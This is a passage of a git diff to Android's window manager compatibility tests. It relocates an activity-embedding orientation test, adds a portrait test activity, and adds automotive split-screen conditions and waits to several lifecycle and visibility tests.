- <property
- android:name="android.window.PROPERTY_ACTIVITY_EMBEDDING_SPLITS_ENABLED"
- android:value="true"/>
<uses-library android:name="android.test.runner"/>
<uses-library android:name="androidx.window.extensions"
android:required="false" />
@@ -570,10 +567,6 @@
<activity android:name="android.server.wm.SplitActivityLifecycleTest$ActivityC"
android:exported="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
- <activity android:name="android.server.wm.SplitActivityLifecycleTest$PortraitActivity"
- android:exported="true"
- android:screenOrientation="portrait"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
<activity android:name="android.server.wm.SplitActivityLifecycleTest$TranslucentActivity"
android:exported="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
diff --git a/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml b/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml
index 65428a30a0f..ed598187aab 100755..100644
--- a/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/jetpack/SecondApp/AndroidManifest.xml
@@ -19,10 +19,18 @@
package="android.server.wm.jetpack.second">
<application>
+ <property
+ android:name="android.window.PROPERTY_ACTIVITY_EMBEDDING_SPLITS_ENABLED"
+ android:value="true"/>
+
<activity
android:name=".SecondActivity"
android:exported="true" />
<activity
+ android:name=".PortraitActivity"
+ android:screenOrientation="portrait"
+ android:exported="true" />
+ <activity
android:name=".SecondActivityAllowsUntrustedEmbedding"
android:allowUntrustedActivityEmbedding="true"
android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
diff --git a/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java
index 0d1184cae42..8d043294b49 100644
--- a/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java
+++ b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/Components.java
@@ -23,6 +23,8 @@ public class Components extends ComponentsBase {
public static final ComponentName SECOND_ACTIVITY = component("SecondActivity");
+ public static final ComponentName PORTRAIT_ACTIVITY = component("PortraitActivity");
+
public static final ComponentName SECOND_ACTIVITY_UNKNOWN_EMBEDDING_CERTS =
component("SecondActivityUnknownEmbeddingCerts");
diff --git a/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java
new file mode 100644
index 00000000000..7345fe69177
--- /dev/null
+++ b/tests/framework/base/windowmanager/jetpack/SecondApp/src/android/server/wm/jetpack/second/PortraitActivity.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.jetpack.second;
+
+import android.app.Activity;
+
+/**
+ * A test activity that is in portrait orientation.
+ */
+public class PortraitActivity extends Activity {
+}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java
index fb08897c4ca..89ca9abb350 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingLifecycleTests.java
@@ -429,20 +429,15 @@ public class ActivityEmbeddingLifecycleTests extends ActivityEmbeddingTestBase {
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(primaryActivity);
- List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_PAUSE),
- transition(TestConfigChangeHandlingActivity.class, ON_STOP));
- assertTrue("Finish middle activity in multi-split",
- mLifecycleTracker.waitForConditionWithTimeout(() ->
- checkOrder(mEventLog, expected)));
+
// There is no guarantee on the order, because the removal may be delayed until the next
// resumed becomes visible.
+ waitAndAssertActivityOnStop(TestConfigChangeHandlingActivity.class);
waitAndAssertActivityOnDestroy(TestActivityWithId.class);
waitAndAssertSplitStatesUpdated();
}
@@ -472,20 +467,15 @@ public class ActivityEmbeddingLifecycleTests extends ActivityEmbeddingTestBase {
"secondaryActivity2", mSplitInfoConsumer);
waitAndAssertResumed(secondaryActivity);
waitAndAssertResumed(secondaryActivity2);
- mEventLog.clear();
// Finish the middle activity
secondaryActivity.finish();
waitAndAssertResumed(secondaryActivity2);
waitAndAssertNotVisible(primaryActivity);
- List<Pair<String, String>> expected = List.of(
- transition(TestActivityWithId.class, ON_PAUSE),
- transition(TestConfigChangeHandlingActivity.class, ON_STOP));
- assertTrue("Finish middle activity in multi-split",
- mLifecycleTracker.waitForConditionWithTimeout(() ->
- checkOrder(mEventLog, expected)));
+
// There is no guarantee on the order, because the removal may be delayed until the next
// resumed becomes visible.
+ waitAndAssertActivityOnStop(TestConfigChangeHandlingActivity.class);
waitAndAssertActivityOnDestroy(TestActivityWithId.class);
waitAndAssertSplitStatesUpdated();
}
@@ -581,6 +571,10 @@ public class ActivityEmbeddingLifecycleTests extends ActivityEmbeddingTestBase {
waitAndAssertNotVisible(primaryActivity);
}
+ private void waitAndAssertActivityOnStop(Class<? extends Activity> activityClass) {
+ mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, ON_STOP);
+ }
+
private void waitAndAssertActivityOnDestroy(Class<? extends Activity> activityClass) {
mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, ON_DESTROY);
}
diff --git a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java
index d0ad8d5255f..b4eea9d54e6 100644
--- a/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java
+++ b/tests/framework/base/windowmanager/jetpack/src/android/server/wm/jetpack/embedding/ActivityEmbeddingPolicyTests.java
@@ -18,6 +18,8 @@ package android.server.wm.jetpack.embedding;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
+import static android.server.wm.jetpack.second.Components.PORTRAIT_ACTIVITY;
import static android.server.wm.jetpack.second.Components.SECOND_UNTRUSTED_EMBEDDING_ACTIVITY;
import static android.server.wm.jetpack.signed.Components.SIGNED_EMBEDDING_ACTIVITY;
import static android.server.wm.jetpack.utils.ActivityEmbeddingUtil.createWildcardSplitPairRule;
@@ -27,25 +29,33 @@ import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.EXTRA
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityFromActivity;
import static android.server.wm.jetpack.utils.WindowManagerJetpackTestBase.startActivityOnDisplaySingleTop;
import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.Surface.ROTATION_0;
+import static android.view.Surface.ROTATION_90;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeNotNull;
+import static org.junit.Assume.assumeTrue;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.UiAutomation;
import android.content.ComponentName;
+import android.content.res.Configuration;
import android.os.Bundle;
+import android.os.SystemProperties;
import android.platform.test.annotations.Presubmit;
import android.server.wm.ActivityManagerTestBase;
import android.server.wm.Condition;
import android.server.wm.NestedShellPermission;
+import android.server.wm.RotationSession;
import android.server.wm.WindowManagerState;
import android.server.wm.jetpack.utils.TestActivityKnownEmbeddingCerts;
import android.server.wm.jetpack.utils.TestActivityLauncher;
import android.server.wm.jetpack.utils.TestConfigChangeHandlingActivity;
+import android.view.Display;
+import android.view.WindowManager;
import androidx.annotation.NonNull;
import androidx.test.ext.junit.runners.AndroidJUnit4;
@@ -199,6 +209,49 @@ public class ActivityEmbeddingPolicyTests extends ActivityManagerTestBase {
}
}
+
+ /**
+ * Verifies that the orientation request from the Activity is ignored if app uses
+ * ActivityEmbedding on a large screen device that supports AE.
+ */
+ @ApiTest(apis = {
+ "R.attr#screenOrientation",
+ "android.view.WindowManager#PROPERTY_ACTIVITY_EMBEDDING_SPLITS_ENABLED"
+ })
+ @Test
+ public void testIgnoreOrientationRequestForActivityEmbeddingSplits() {
+ // Skip the test on devices without WM extensions.
+ assumeTrue(SystemProperties.getBoolean("persist.wm.extensions.enabled", false));
+
+ // Skip the test if this is not a large screen device
+ assumeTrue(getDisplayConfiguration().smallestScreenWidthDp
+ >= WindowManager.LARGE_SCREEN_SMALLEST_SCREEN_WIDTH_DP);
+
+ // Rotate the device to landscape
+ final RotationSession rotationSession = createManagedRotationSession();
+ final int[] rotations = { ROTATION_0, ROTATION_90 };
+ for (final int rotation : rotations) {
+ if (getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE) {
+ break;
+ }
+ rotationSession.set(rotation);
+ }
+ assumeTrue(getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE);
+
+ // Launch a fixed-portrait activity
+ startActivityOnDisplay(Display.DEFAULT_DISPLAY, PORTRAIT_ACTIVITY);
+
+ // The display should be remained in landscape.
+ assertEquals("The display should be remained in landscape", ORIENTATION_LANDSCAPE,
+ getDisplayConfiguration().orientation);
+ }
+
+ private Configuration getDisplayConfiguration() {
+ mWmState.computeState();
+ WindowManagerState.DisplayContent display = mWmState.getDisplay(DEFAULT_DISPLAY);
+ return display.getFullConfiguration();
+ }
+
static void waitForOrFailWithRapidRetry(@NonNull String message,
@NonNull BooleanSupplier condition) {
Condition.waitFor(new Condition<>(message, condition)
diff --git a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
index 40910d7ecb4..1c38c6a2416 100644
--- a/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/overlayappbase/AndroidManifest.xml
@@ -31,7 +31,8 @@
android:exported="true"/>
<activity
android:name="android.server.wm.overlay.ExitAnimationActivity"
- android:exported="true"/>
+ android:exported="true"
+ android:screenOrientation="nosensor" />
<activity
android:name="android.server.wm.overlay.ToastActivity"
android:exported="true"/>
diff --git a/tests/framework/base/windowmanager/res/drawable/background_image.xml b/tests/framework/base/windowmanager/res/drawable/background_image.xml
deleted file mode 100644
index 37f40e185c0..00000000000
--- a/tests/framework/base/windowmanager/res/drawable/background_image.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2023 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-<vector xmlns:android="http://schemas.android.com/apk/res/android"
- android:width="2px"
- android:height="2px"
- android:viewportWidth="2"
- android:viewportHeight="2">
- <group>
- <path
- android:name="blue"
- android:pathData="m0,0l1,0l0,2l-1,0l0-2z"
- android:fillColor="#0000FF" />
- <path
- android:name="red"
- android:pathData="m1,0l1,0l0,2l-1,0l0-2z"
- android:fillColor="#FF0000" />
- </group>
-</vector>
diff --git a/tests/framework/base/windowmanager/res/layout/background_image.xml b/tests/framework/base/windowmanager/res/layout/background_image.xml
new file mode 100644
index 00000000000..2d9c798090d
--- /dev/null
+++ b/tests/framework/base/windowmanager/res/layout/background_image.xml
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:orientation="horizontal">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:layout_weight="1"
+ android:background="#ff0000ff"/>
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:layout_weight="1"
+ android:background="#ffff0000"/>
+
+</LinearLayout>
diff --git a/tests/framework/base/windowmanager/res/values/styles.xml b/tests/framework/base/windowmanager/res/values/styles.xml
index 00f9000bdd0..65092eca8fc 100644
--- a/tests/framework/base/windowmanager/res/values/styles.xml
+++ b/tests/framework/base/windowmanager/res/values/styles.xml
@@ -67,7 +67,6 @@
<item name="android:windowNoTitle">true</item>
<item name="android:windowLayoutInDisplayCutoutMode">always</item>
<item name="android:windowSoftInputMode">stateHidden</item>
- <item name="android:windowBackground">@drawable/background_image</item>
</style>
<style name="BlurryDialog" parent="TranslucentDialog">
<item name="android:windowBackgroundBlurRadius">@dimen/test_background_blur_radius</item>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 1bc31c11a35..c255eab0198 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -202,7 +202,6 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
@Test
public void testTurnScreenOnActivity() {
-
final LockScreenSession lockScreenSession = createManagedLockScreenSession();
final ActivitySessionClient activityClient = createManagedActivityClientSession();
testTurnScreenOnActivity(lockScreenSession, activityClient,
@@ -210,6 +209,15 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
testTurnScreenOnActivity(lockScreenSession, activityClient,
false /* useWindowFlags */);
+ // On Auto split-screen multi-tasking UI, testTurnScreenOnActivity() can lead to lifecycle
+ // state transitions in Home because of device sleep and also because of config change
+ // (b/308213530).
+ // Wait for the existing TurnScreenOnActivity to finish and the home activity to be in
+ // stopped state as the display is OFF.
+ if (supportsLockScreen()) {
+ mWmState.waitForAllStoppedActivities();
+ }
+
// Start TURN_SCREEN_ON_ACTIVITY
launchActivity(TURN_SCREEN_ON_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
@@ -398,7 +406,10 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mBroadcastActionTrigger.finishBroadcastReceiverActivity();
mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY);
- mWmState.assertHomeActivityVisible(false);
+ if (!hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove this if condition when root tasks setup is moved to SysUI.
+ mWmState.assertHomeActivityVisible(false);
+ }
}
@Test
@@ -621,7 +632,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
launchActivity(TURN_SCREEN_ON_ATTR_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_ATTR_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_ATTR_ACTIVITY);
+ }
}
@Test
@@ -678,7 +694,13 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
launchActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
mWmState.assertVisibility(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY);
+ }
}
@Test
@@ -736,7 +758,12 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mInstrumentation.getUiAutomation().syncInputTransactions();
mWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
- assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ if (hasAutomotiveSplitscreenMultitaskingFeature()) {
+ // TODO(b/300009006): remove when root tasks setup is moved to SysUI.
+ waitAndAssertResumedActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ } else {
+ assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
+ }
lockScreenSession.sleepDevice();
// We should make sure test activity stopped to prevent a false alarm stop state
@@ -855,13 +882,4 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase {
mWmState.waitForWindowSurfaceShown(getWindowName(activityBehind), visible);
mWmState.assertVisibility(activityBehind, visible);
}
-
- /**
- * Checks whether the device has automotive split-screen multitasking feature enabled
- */
- private boolean hasAutomotiveSplitscreenMultitaskingFeature() {
- return mContext.getPackageManager()
- .hasSystemFeature(/* PackageManager.FEATURE_CAR_SPLITSCREEN_MULTITASKING */
- "android.software.car.splitscreen_multitasking") && isCar();
- }
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
index 71b82ae1272..5f0f9fbead9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/BlurTests.java
@@ -37,7 +37,6 @@ import android.platform.test.annotations.Presubmit;
import android.provider.Settings;
import android.server.wm.cts.R;
import android.server.wm.settings.SettingsSession;
-import android.view.View;
import android.view.WindowManager;
import androidx.test.rule.ActivityTestRule;
@@ -424,7 +423,7 @@ public class BlurTests extends WindowManagerTestBase {
super.onCreate(savedInstanceState);
getSplashScreen().setOnExitAnimationListener(view -> view.remove());
- setContentView(new View(this));
+ setContentView(R.layout.background_image);
getWindow().setDecorFitsSystemWindows(false);
getWindow().getInsetsController().hide(systemBars());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index 5511c36cb06..c9e3b6ccb28 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -742,17 +742,20 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase {
.setTargetActivity(TEST_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
final int rootTaskId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
+ final int taskId = mWmState.getRootTask(rootTaskId).getTaskId();
getLaunchActivityBuilder().setUseInstrumentation()
.setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).setNewTask(true)
.setDisplayId(DEFAULT_DISPLAY).execute();
+ mayLaunchHomeActivityForCar();
+
final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
.setTargetActivity(TEST_ACTIVITY).setNewTask(true)
.setDisplayId(newDisplay.mId).execute();
assertNotEquals("Top focus root task should not be on default display",
- rootTaskId, mWmState.getFocusedTaskId());
+ taskId, mWmState.getRootTask(mWmState.getFocusedTaskId()).getTaskId());
mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 35f565bd4e1..5dd9de79537 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -441,6 +441,7 @@ public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
*/
@Test
public void testStackFocusSwitchOnDisplayRemoved3() {
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
// Start an activity on default display to determine default stack.
launchActivity(BROADCAST_RECEIVER_ACTIVITY);
final int focusedStackWindowingMode = mWmState.getFrontRootTaskWindowingMode(
@@ -767,6 +768,7 @@ public class MultiDisplayPolicyTests extends MultiDisplayTestBase {
@Test
public void testAppTransitionForActivityOnDifferentDisplay() {
assumeFalse(ENABLE_SHELL_TRANSITIONS);
+ assumeFalse(hasAutomotiveSplitscreenMultitaskingFeature());
final TestActivitySession<StandardActivity> transitionActivitySession =
createManagedTestActivitySession();
// Create new simulated display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index bb01bbbe86f..5bc7da3425f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -50,6 +50,7 @@ import static android.server.wm.app.Components.PIP_ACTIVITY_WITH_MINIMAL_SIZE;
import static android.server.wm.app.Components.PIP_ACTIVITY_WITH_SAME_AFFINITY;
import static android.server.wm.app.Components.PIP_ACTIVITY_WITH_TINY_MINIMAL_SIZE;
import static android.server.wm.app.Components.PIP_ON_STOP_ACTIVITY;
+import static android.server.wm.app.Components.PORTRAIT_ORIENTATION_ACTIVITY;
import static android.server.wm.app.Components.PipActivity.ACTION_ENTER_PIP;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH;
import static android.server.wm.app.Components.PipActivity.ACTION_FINISH_LAUNCH_INTO_PIP_HOST;
@@ -90,7 +91,6 @@ import static android.server.wm.app.Components.TEST_ACTIVITY;
import static android.server.wm.app.Components.TEST_ACTIVITY_WITH_SAME_AFFINITY;
import static android.server.wm.app.Components.TRANSLUCENT_TEST_ACTIVITY;
import static android.server.wm.app.Components.TestActivity.EXTRA_CONFIGURATION;
-import static android.server.wm.app.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
import static android.server.wm.app27.Components.SDK_27_LAUNCH_ENTER_PIP_ACTIVITY;
import static android.server.wm.app27.Components.SDK_27_PIP_ACTIVITY;
@@ -297,13 +297,18 @@ public class PinnedStackTests extends ActivityManagerTestBase {
@Test
public void testEnterPipToOtherOrientation() {
assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest());
+ final TransitionAnimationScaleSession transitionAnimationScaleSession =
+ mObjectTracker.manage(new TransitionAnimationScaleSession());
+ // Skip unimportant animations.
+ transitionAnimationScaleSession.set(0f);
// Launch a portrait only app on the fullscreen stack
- launchActivity(TEST_ACTIVITY,
- extraString(EXTRA_FIXED_ORIENTATION, String.valueOf(SCREEN_ORIENTATION_PORTRAIT)));
+ launchActivity(PORTRAIT_ORIENTATION_ACTIVITY);
+ mInstrumentation.getUiAutomation().syncInputTransactions();
// Launch the PiP activity fixed as landscape
launchActivity(PIP_ACTIVITY,
extraString(EXTRA_PIP_ORIENTATION, String.valueOf(SCREEN_ORIENTATION_LANDSCAPE)));
mWmState.waitForActivityOrientation(PIP_ACTIVITY, Configuration.ORIENTATION_LANDSCAPE);
+ mInstrumentation.getUiAutomation().syncInputTransactions();
// Enter PiP, and assert that the PiP is within bounds now that the device is back in
// portrait
mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
@@ -1917,7 +1922,8 @@ public class PinnedStackTests extends ActivityManagerTestBase {
mWmState.waitForWithAmState(wmState -> {
Task task = wmState.getTaskByActivity(activityName);
return task != null
- && task.getActivity(activityName).getWindowingMode() == WINDOWING_MODE_PINNED;
+ && task.getActivity(activityName).getWindowingMode() == WINDOWING_MODE_PINNED
+ && task.isVisible();
}, "checking task windowing mode");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index 8cc5ca5bc01..c9178dd12e6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -19,15 +19,11 @@ package android.server.wm;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
-import static android.content.res.Configuration.ORIENTATION_LANDSCAPE;
-import static android.content.res.Configuration.ORIENTATION_PORTRAIT;
import static android.server.wm.SplitActivityLifecycleTest.SplitTestActivity.EXTRA_SET_RESULT_AND_FINISH;
import static android.server.wm.SplitActivityLifecycleTest.SplitTestActivity.EXTRA_SHOW_WHEN_LOCKED;
import static android.server.wm.WindowManagerState.STATE_STARTED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
import static android.view.Display.DEFAULT_DISPLAY;
-import static android.view.Surface.ROTATION_0;
-import static android.view.Surface.ROTATION_90;
import static android.window.TaskFragmentOrganizer.TASK_FRAGMENT_TRANSIT_CHANGE;
import static android.window.TaskFragmentOrganizer.TASK_FRAGMENT_TRANSIT_OPEN;
@@ -40,14 +36,11 @@ import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
-import android.content.res.Configuration;
import android.graphics.Rect;
import android.os.Bundle;
import android.os.IBinder;
-import android.os.SystemProperties;
import android.platform.test.annotations.Presubmit;
import android.server.wm.WindowManagerState.TaskFragment;
-import android.view.WindowManager;
import android.window.TaskFragmentCreationParams;
import android.window.TaskFragmentInfo;
import android.window.WindowContainerToken;
@@ -583,44 +576,6 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
"Activity A is not fully occluded and must be visible and started");
}
- @Test
- public void testIgnoreOrientationRequestForActivityEmbeddingSplits() {
- // Skip the test on devices without WM extensions.
- assumeTrue(SystemProperties.getBoolean("persist.wm.extensions.enabled", false));
-
- // Skip the test if this is not a large screen device
- assumeTrue(getDisplayConfiguration().smallestScreenWidthDp
- >= WindowManager.LARGE_SCREEN_SMALLEST_SCREEN_WIDTH_DP);
-
- // Rotate the device to landscape
- final RotationSession rotationSession = createManagedRotationSession();
- final int[] rotations = { ROTATION_0, ROTATION_90 };
- for (final int rotation : rotations) {
- if (getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE) {
- break;
- }
- rotationSession.set(rotation);
- }
- assumeTrue(getDisplayConfiguration().orientation == ORIENTATION_LANDSCAPE);
-
- // Launch a fixed-portrait activity
- Activity activity = startActivityInWindowingModeFullScreen(PortraitActivity.class);
-
- // The activity should be displayed in portrait while the display is remained in landscape.
- assertWithMessage("The activity should be displayed in portrait")
- .that(activity.getResources().getConfiguration().orientation)
- .isEqualTo(ORIENTATION_PORTRAIT);
- assertWithMessage("The display should be remained in landscape")
- .that(getDisplayConfiguration().orientation)
- .isEqualTo(ORIENTATION_LANDSCAPE);
- }
-
- private Configuration getDisplayConfiguration() {
- mWmState.computeState();
- WindowManagerState.DisplayContent display = mWmState.getDisplay(DEFAULT_DISPLAY);
- return display.mFullConfiguration;
- }
-
/**
* Verifies starting an Activity on the adjacent TaskFragment and able to get the result.
*/
@@ -677,7 +632,6 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase {
public static class ActivityA extends SplitTestActivity {}
public static class ActivityB extends SplitTestActivity {}
public static class ActivityC extends SplitTestActivity {}
- public static class PortraitActivity extends SplitTestActivity {}
public static class TranslucentActivity extends SplitTestActivity {}
public static class SplitTestActivity extends FocusableActivity {
public static final String EXTRA_SHOW_WHEN_LOCKED = "showWhenLocked";
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 60a8017a9f4..ef17de28a03 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -688,9 +688,8 @@ public class ActivityStarterTests extends ActivityLifecycleClientTestBase {
.execute();
mWmState.waitForActivityState(STANDARD_ACTIVITY, STATE_RESUMED);
- // Make sure the activity is finished.
